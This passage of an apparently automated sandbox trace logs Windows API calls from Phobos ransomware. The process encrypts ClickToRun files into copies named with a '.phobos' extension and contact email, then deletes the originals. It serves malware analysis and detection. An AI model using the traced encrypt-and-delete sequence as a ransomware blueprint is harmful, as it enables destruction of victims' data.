(lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.253] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.253] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.253] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.253] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=67424) returned 1 [0132.253] CloseHandle (hObject=0x2b4) returned 1 [0132.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0132.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.254] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.254] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.254] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.254] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=42904) returned 1 [0132.254] CloseHandle (hObject=0x2b4) returned 1 [0132.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0132.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.254] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.254] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.254] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.254] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=66912) returned 1 [0132.255] CloseHandle (hObject=0x2b4) returned 1 [0132.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0132.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.255] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.255] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.255] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.255] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=42912) returned 1 [0132.528] CloseHandle (hObject=0x2b4) returned 1 [0132.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0132.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.528] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.528] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1208928) returned 1 [0132.528] CloseHandle (hObject=0x2b4) returned 1 [0132.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0132.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.529] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.530] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=902328) returned 1 [0132.530] CloseHandle (hObject=0x2b4) returned 1 [0132.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0132.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.530] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.530] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0132.530] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752e98) returned 1 [0132.530] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.530] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xdc4b8, lpOverlapped=0x0) returned 1 [0132.667] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xdc4c0, dwBufLen=0xdc4c0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xdc4c0) returned 1 [0132.668] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xdc4c0, lpOverlapped=0x0) returned 1 [0132.681] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753098) returned 1 [0132.681] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.681] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0132.681] CryptDestroyKey (hKey=0x753098) returned 1 [0132.681] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0132.681] CryptDestroyKey (hKey=0x752e98) returned 1 [0132.681] CloseHandle (hObject=0x2b4) returned 1 [0132.681] CloseHandle (hObject=0x300) returned 1 [0132.681] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0132.688] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0132.688] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=102) returned 1 [0132.688] CloseHandle (hObject=0x300) returned 1 [0132.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0132.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0132.688] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.688] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.689] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752d98) returned 1 [0132.689] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.689] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x66, lpOverlapped=0x0) returned 1 [0132.690] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x70, dwBufLen=0x70 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x70) returned 1 [0132.690] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x70, lpOverlapped=0x0) returned 1 [0132.691] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753018) returned 1 [0132.691] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.691] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0132.691] CryptDestroyKey (hKey=0x753018) returned 1 [0132.691] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0132.691] CryptDestroyKey (hKey=0x752d98) returned 1 [0132.691] CloseHandle (hObject=0x300) returned 1 [0132.691] CloseHandle (hObject=0x2b4) returned 1 [0132.691] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0132.694] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.695] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=102) returned 1 [0132.695] CloseHandle (hObject=0x2b4) returned 1 [0132.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0132.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.695] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.695] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0132.695] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752d18) returned 1 [0132.695] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.695] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x66, lpOverlapped=0x0) returned 1 [0132.752] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x70, dwBufLen=0x70 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x70) returned 1 [0132.752] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x70, lpOverlapped=0x0) returned 1 [0132.753] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x7530d8) returned 1 [0132.753] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.753] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0132.753] CryptDestroyKey (hKey=0x7530d8) returned 1 [0132.753] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0132.753] CryptDestroyKey (hKey=0x752d18) returned 1 [0132.753] CloseHandle (hObject=0x2b4) returned 1 [0132.753] CloseHandle (hObject=0x300) returned 1 [0132.753] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0132.754] SetEvent (hEvent=0x298) returned 1 [0132.754] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0132.755] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1093248) returned 1 [0132.755] CloseHandle (hObject=0x300) returned 1 [0132.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0132.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0132.755] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.755] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0132.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.755] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753158) returned 1 [0132.755] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.756] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x10ae80, lpOverlapped=0x0) returned 1 [0132.824] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x10ae90, dwBufLen=0x10ae90 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x10ae90) returned 1 [0132.825] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x10ae90, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x10ae90, lpOverlapped=0x0) returned 1 [0132.841] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752dd8) returned 1 [0132.841] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0132.841] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0132.841] CryptDestroyKey (hKey=0x752dd8) returned 1 [0132.841] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0132.842] CryptDestroyKey (hKey=0x753158) returned 1 [0132.842] CloseHandle (hObject=0x300) returned 1 [0132.842] CloseHandle (hObject=0x2b4) returned 1 [0132.842] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0132.843] 